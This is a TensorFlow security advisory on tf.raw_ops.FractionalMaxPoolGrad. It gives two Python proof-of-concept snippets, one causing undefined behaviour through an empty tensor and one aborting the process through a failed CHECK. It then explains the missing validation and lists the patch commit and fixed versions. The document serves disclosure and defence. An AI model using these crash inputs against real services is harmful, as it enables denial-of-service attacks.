Description
Impact
The implementation of `tf.raw_ops.FractionalMaxPoolGrad` triggers an undefined behavior if one of the input tensors is empty:
```python
import tensorflow as tf
orig_input = tf.constant([2, 3], shape=[1, 1, 1, 2], dtype=tf.int64)
orig_output = tf.constant([], dtype=tf.int64)
out_backprop = tf.zeros([2, 3, 6, 6], dtype=tf.int64)
row_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)
tf.raw_ops.FractionalMaxPoolGrad(
orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,
row_pooling_sequence=row_pooling_sequence,
col_pooling_sequence=col_pooling_sequence, overlapping=False)
```
The code is also vulnerable to a denial of service attack as a `CHECK` condition becomes false and aborts the process
```python
import tensorflow as tf
orig_input = tf.constant([1], shape=[1], dtype=tf.int64)
orig_output = tf.constant([1], shape=[1], dtype=tf.int64)
out_backprop = tf.constant([1, 1], shape=[2, 1, 1, 1], dtype=tf.int64)
row_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
tf.raw_ops.FractionalMaxPoolGrad(
orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,
row_pooling_sequence=row_pooling_sequence,
col_pooling_sequence=col_pooling_sequence, overlapping=False)
```
The implementation fails to validate that input and output tensors are not empty and are of the same rank. Each of these unchecked assumptions is responsible for the above issues.
Patches
We have patched the issue in GitHub commit 32fdcbff9d06d010d908fcc4bd4b36eb3ce15925.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
